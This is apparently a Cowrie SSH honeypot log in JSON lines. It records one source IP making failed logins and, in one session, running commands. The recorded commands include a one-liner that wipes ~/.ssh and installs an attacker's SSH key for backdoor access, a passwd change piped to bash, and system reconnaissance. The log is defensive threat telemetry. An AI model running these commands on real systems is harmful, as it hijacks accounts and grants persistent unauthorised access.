{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:57.764116Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.074409Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.078566Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.224097Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.229074Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":33214,"dst_ip":"10.17.0.5","dst_port":22,"session":"545ef232f1a1","protocol":"ssh","message":"New connection: 152.244.206.148:33214 (10.17.0.5:22) [session: 545ef232f1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.355941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.360263Z","src_ip":"152.244.206.148","session":"545ef232f1a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:58.500021Z","src_ip":"152.244.206.148","session":"545ef232f1a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:59.071231Z","src_ip":"152.244.206.148","session":"545ef232f1a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:00.212889Z","src_ip":"152.244.206.148","session":"545ef232f1a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af86f5d0dff","protocol":"ssh","message":"New connection: 152.244.206.148:59550 (10.17.0.5:22) [session: 1af86f5d0dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:00.345398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:00.352204Z","src_ip":"152.244.206.148","session":"1af86f5d0dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:00.491628Z","src_ip":"152.244.206.148","session":"1af86f5d0dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:01.077314Z","src_ip":"152.244.206.148","session":"1af86f5d0dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.236758Z","src_ip":"152.244.206.148","session":"1af86f5d0dff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.419511Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.422481Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.562337Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.896072Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"123admin\\nxeuNVYlOsBnE\\nxeuNVYlOsBnE\"|passwd|bash","message":"CMD: echo -e \"123admin\\nxeuNVYlOsBnE\\nxeuNVYlOsBnE\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.899822Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.903690Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:02.907268Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/56efc302ac988e69061a992ba79f53c54386a1c4fb384cab85e155df758ed2a9","size":32,"shasum":"56efc302ac988e69061a992ba79f53c54386a1c4fb384cab85e155df758ed2a9","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/56efc302ac988e69061a992ba79f53c54386a1c4fb384cab85e155df758ed2a9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:03.048121Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:03.559459Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"123admin\\nxeuNVYlOsBnE\\nxeuNVYlOsBnE\\n\"|passwd","message":"CMD: echo \"123admin\\nxeuNVYlOsBnE\\nxeuNVYlOsBnE\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:03.562957Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e52096d8b869fe39a621334d3ef8aa405e61ee900c5051c44f7be2bf0885a6f6","size":25,"shasum":"e52096d8b869fe39a621334d3ef8aa405e61ee900c5051c44f7be2bf0885a6f6","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e52096d8b869fe39a621334d3ef8aa405e61ee900c5051c44f7be2bf0885a6f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:03.700689Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:04.061819Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:04.065374Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:04.204480Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:04.514961Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:04.518024Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:04.657078Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.009244Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.012802Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.016295Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.155894Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.475188Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.478856Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.616788Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.935645Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:05.939427Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:06.082169Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:06.398749Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:06.402146Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:06.539704Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:06.863343Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:06.866922Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.013789Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.333989Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.337624Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.477053Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.801014Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.804941Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:07.956599Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:08.286345Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:08.290247Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:08.429970Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:23:08.741811Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
